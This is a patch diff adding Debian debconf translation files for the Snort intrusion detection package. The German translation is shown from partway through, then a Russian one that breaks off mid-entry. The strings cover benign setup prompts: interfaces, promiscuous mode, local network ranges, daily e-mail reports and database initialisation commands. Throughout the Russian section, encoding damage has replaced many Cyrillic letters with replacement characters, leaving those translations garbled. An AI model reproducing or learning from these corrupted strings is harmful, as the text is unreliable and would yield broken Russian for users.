+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manuell"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Startmethode für Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort kann beim Systemstart, bei der Einwahl ins Internet mit Pppd oder nur "
+"manuell mit dem Befehl /usr/sbin/snort gestartet werden."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Schnittstelle(n) an der/denen Snort lauschen soll:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Dieser Wert ist normalerweise »eth0«, aber das kann in einigen "
+"Netzwerkumgebung anders sein; bei einer Einwahlverbindung sollte »ppp0« "
+"besser passen (sehen Sie sich die Ausgabe des Befehls '/sbin/ifconfig' an)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Normalerweise ist das die selbe Schnittstelle, auf die die Standard-Route "
+"zeigt. Sie können die verwendete Schnittstelle mit dem Befehl '/sbin/route -"
+"n' herausfinden (suchen Sie nach »0.0.0.0«)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Es ist auch üblich, Snort an einer Schnittstelle ohne IP-Adresse im Modus "
+"»Promiscuous« zu betreiben. In diesem Fall wählen Sie die Schnittstelle aus, "
+"die physisch mit dem Netzwerk verbunden ist, das Sie überwachen wollen und "
+"schalten später den Modus »Promiscuous« ein. Stellen Sie sicher, dass der "
+"Netzwerkverkehr die Schnittstelle erreicht (entweder sie ist verbunden mit "
+"einem Anschluss für »Port-Mirroring/Spanning« eines Switches, mit einem Hub "
+"oder Tap)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Sie können mehrere Schnittstellennamen durch Leerzeichen getrennt eingeben. "
+"Jede Schnittstelle kann eigene Einstellungen haben."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Adressbereich des lokalen Netzwerks:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Bitte benutzen Sie das CIDR-Format, z. B. 192.168.1.0/24 für einen Block von "
+"256 IP-Adressen oder 192.168.1.42/32 für nur eine. Mehrere IP-Adressen "
+"sollten durch Kommas getrennt werden (ohne Leerzeichen)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Bitte beachten Sie: Wenn für Snort mehrere Schnittstellen eingerichtet sind, "
+"wird diese Festlegung als HOME_NET-Definition für alle gemeinsam verwendet."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Soll Snort den Modus »Promiscuous« an der Schnittstelle ausschalten?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Das Ausschalten des Modus' »Promiscuous« bedeutet, dass Snort nur die Pakete "
+"sehen wird, die an die Schnittstelle adressiert sind, die es überwacht. Das "
+"Einschalten ermöglicht es Snort, alle Pakete zu überprüfen, die das Netzwerk-"
+"Segment durchlaufen, selbst wenn es eine Verbindung zwischen zwei anderen "
+"Rechnern ist."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Ungültige Schnittstelle"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort versucht eine Schnittstelle zu nutzen, die es nicht gibt oder die "
+"nicht aktiv ist. Entweder ist die Vorgabe »eth0« hier unpassend, oder Sie "
+"haben eine ungültige Schnittstelle eingegeben."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Soll Snorts Reihenfolge der Tests auf Pass|Alert|Log geändert werden?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Snorts Standard-Testreihenfolge ist Alert|Pass|Log; wenn Sie hier zustimmen, "
+"wird die Reihenfolge in Pass|Alert|Log geändert, was die Nutzung von Snort "
+"mit einigen Paketfilter-Programmen vereinfachen kann."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Sollen tägliche Zusammenfassungen per E-Mail verschickt werden?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Es kann ein Cronjob eingerichtet werden, der täglich Zusammenfassungen der "
+"Protokolle von Snort an eine bestimmte E-Mail-Adresse schickt."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Bitte stimmen Sie zu, wenn Sie das wollen."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Empfänger der täglichen Statistik-E-Mails:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Bitte geben Sie die E-Mail-Adresse ein, an die täglich Zusammenfassungen der "
+"Protokolle von Snort geschickt werden sollen."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Zusätzliche benutzerspezifische Optionen:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Bitte geben Sie alle weiteren Optionen ein, die Snort benutzen soll."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Minimale Ereignisanzahl ab der Alarme gemeldet werden:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Bitte geben Sie die minimale Anzahl eines Alarms ein, ab der dieser Alarm in "
+"die tägliche Statistik aufgenommen wird."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Neustart von Snort erforderlich"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Da Snort manuell gestartet wurde, müssen Sie den Befehl '/etc/init.d/snort' "
+"aufrufen, damit die Änderungen wirksam werden."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Fehler in den Einstellungen"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Die aktuellen Einstellungen von Snort sind ungültig und verhindern einen "
+"normalen Start von Snort. Bitte kontrollieren und berichtigen Sie diese."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Benutzen Sie den Befehl '/usr/sbin/snort -T -c <Datei>', um Fehler in einer "
+"Konfigurationsdatei von Snort zu finden."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Veraltete Konfigurationsdatei"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Dieses System nutzt eine veraltete Konfigurationsdatei (/etc/snort/snort."
+"common.parameters), die automatisch in das neue Format (nach /etc/default/"
+"snort) umgewandelt wurde."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Bitte überprüfen Sie die neue Konfigurationsdatei und löschen Sie die "
+"veraltete. Bis dahin wird das Startskript die neuen Einstellungen nicht "
+"verwenden und Sie können die Vorteile der neuen Versionen nicht nutzen."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Eine Protokoll-Datenbank für Snort-mysql einrichten?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Es wurde keine Datenbank eingerichtet, in die Snort protokolliert. Bevor Sie "
+"weiter machen, sollten Sie sicher stellen, dass Sie folgendes haben:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - Rechnernamen des Servers (er muss TCP-Verbindungen von diesem\n"
+"   Rechner zulassen);\n"
+" - eine Datenbank auf diesem Server;\n"
+" - Benutzernamen und Passwort für den Zugang zur Datenbank."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Wenn nicht alle Voraussetzungen erfüllt sind, lehnen Sie hier ab und lassen "
+"Sie die Protokolle in eine normale Datei schreiben."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Das Protokollieren in eine Datenbank kann später mit dem Befehl 'dpkg-"
+"reconfigure -plow snort-mysql'eingerichtet werden."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Rechnername des Datenbank-Servers:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Bitte geben Sie den Rechnernamen eines Datenbank-Servers ein, der eingehende "
+"Verbindungen von diesem Rechner annimmt."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Datenbankname:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Bitte geben Sie den Namen einer vorhandenen Datenbank ein, auf die der "
+"Datenbankbenutzer Schreibrechte hat."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Benutzername für den Datenbankzugriff:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Bitte geben Sie einen Benutzernamen des Datenbank-Servers ein, der "
+"Schreibzugriff auf die Datenbank hat."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Passwort für die Datenbankverbindung:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Bitte das Passwort für die Verbindung zu Snorts Alarm-Datenbank eingeben."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Eingerichtete Datenbank für Snort nötig"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort benötigt eine eingerichtete Datenbank, bevor Sie es benutzen können. "
+"Um diese aufzubauen, müssen Sie folgende Befehle NACH dieser Installation "
+"ausführen:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <Benutzer> -h <Rechner> -p <DB-Name>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Geben Sie die korrekten Werte für Benutzer, Rechner und Datenbankname ein. "
+"MySQL wird Sie nach dem Passwort fragen."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Nachdem Sie die Datenbankstruktur angelegt haben, müssen Sie Snort noch "
+"starten."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Eine Protokoll-Datenbank für Snort-pgsql einrichten?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Das Protokollieren in eine Datenbank kann später mit dem Befehl 'dpkg-"
+"reconfigure -plow snort-pgsql'eingerichtet werden."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <Benutzer> -h <Rechner> -W <DB-Name>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Geben Sie die korrekten Werte für Benutzer, Rechner und Datenbankname ein. "
+"PostgreSQL wird Sie nach dem Passwort fragen."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Veraltete Konfigurationsdatei"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Die Snort-Konfigurationsdatei (/etc/snort/snort.conf) benutzt veraltete "
+"Optionen, die ab dieser Version von Snort nicht mehr gültig sind. Snort kann "
+"solange nicht starten, bis Sie eine richtige Konfigurationsdatei erstellen. "
+"Sie können entweder Ihre Konfigurationsdatei durch die des Pakets ersetzen "
+"oder entfernen die veralteten Optionen selbst."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Folgende veraltete Optionen wurden in der Konfigurationsdatei gefunden: "
+"${DEP_CONFIG}."
--- snort-2.8.5.2.orig/debian/po/ru.po
+++ snort-2.8.5.2/debian/po/ru.po
@@ -0,0 +1,602 @@
+# translation of ru.po to Russian
+# This file is distributed under the same license as the PACKAGE package.
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER.
+#
+# Yuriy Talakan' <yt@drsk.ru>, 2007.
+# Yuri Kozlov <kozlov.y@gmail.com>, 2008.
+# Yuri Kozlov <yuray@komyakino.ru>, 2009.
+msgid ""
+msgstr ""
+"Project-Id-Version: snort 2.7.0-26\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2009-05-14 20:46+0400\n"
+"Last-Translator: Yuri Kozlov <yuray@komyakino.ru>\n"
+"Language-Team: Russian <debian-l10n-russian@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+"Plural-Forms:  nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "загрузка"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "дозвон"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "вручную"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Спо�об запу�ка Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort может запу�кать�� при загрузке, при подключении к �ети через pppd, или "
+"только когда вы вручную запу�тите его � помощью /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Интерфей�ы, которые должен �лушать Snort:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Обычно, �то значение равно 'eth0', но оно может не работать в некоторых "
+"�ет�х; дл� коммутируемого подключени� больше подходит 'ppp0' (по�мотрите "
+"результат работы '/sbin/ifconfig')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Обычно, �то тот же интерфей�, через который проходит 'маршрут по умолчанию'. "
+"Вы можете определить какой интерфей� и�пользовать � помощью команды '/sbin/"
+"route -n' (ищите '0.0.0.0')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Также нет ничего необычного в запу�ке Snort на интерфей�е без IP в режиме "
+"про�лушивани�. В �том �лучае, выберите на �той �и�теме интерфей�, физиче�ки "
+"подключённый к ин�пектируемой �ети, разрешите потом режим про�лушивани� и "
+"убедите�ь, что �етевой трафик отправл�ет�� на �тот интерфей� (подключённый к "
+"порту коммутатора 'port mirroring/spanning', к концентратору или к �етевой "
+"ловушке)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Вы можете указать зде�ь не�колько интерфей�ов, про�то добавив более одного "
+"имени интерфей�а через пробел. У каждого интерфей�а могут быть �вои "
+"�об�твенные на�тройки."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Диапазон адре�ов локальной �ети:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"И�пользуйте формат CIDR, например 192.168.1.0/24 дл� блока из 256 IP адре�ов "
+"или 192.168.1.42/32 дл� одного. �е�колько адре�ов указывают�� на одной "
+"�троке через зап�тую (без пробелов)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Обратите внимание, е�ли дл� Snort указано не�колько интерфей�ов, то �то "
+"определение будет и�пользовано как определение HOME_NET дл� в�ех интерфей�ов."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Должен ли Snort запретить режим про�лушивани� на интерфей�е?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Запрет режима про�лушивани� означает, что Snort будет видеть только те "
+"пакеты, которые адре�ованы его интерфей�у. Разрешение позвол�ет Snort "
+"проверить каждый пакет, проход�щий через �егмент Ethernet, даже е�ли �то "
+"�оединение между двум� другими компьютерами."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "�еправильный интерфей�"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort пытает�� и�пользовать интерфей�, который не �уще�твует или выключен. "
+"Возможно, интерфей� по умолчанию 'eth0' в вашем �лучае не подходит, или "
+"указанный вами интерфей� неправилен."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Изменить пор�док проверки правил Snort на Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Пор�док проверки правил по умолчанию в Snort у�тановлен как Alert|Pass|Log; "
+"е�ли вы ответите утвердительно, то пор�док будет изменён на Pass|Alert|Log, "
+"что упро�тит и�пользование Snort � другими ин�трументами фильтрации пакетов."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Отправл�ть ежедневные отчёты по e-mail?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Дл� отправки ежедневного отчёта по журналам Snort на указанный адре� "
+"�лектронной почты может быть на�троено задание cron."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Укажите, хотите ли вы включить �ту возможно�ть."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Получатель ежедневного отчёта по почте:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Укажите адре� �лектронной почты, на который нужно отправл�ть ежедневный "
+"отчёт по журналам Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Дополнительные �пециальные на�тройки:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr ""
+"Зде�ь можно указать любые дополнительные �пециальные на�тройки, которые "
+"должен и�пользовать Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Минимальное количе�тво возникновени� тревоги, чтобы она попала в отчёт:"
+
+#. Type: string
+#. Description
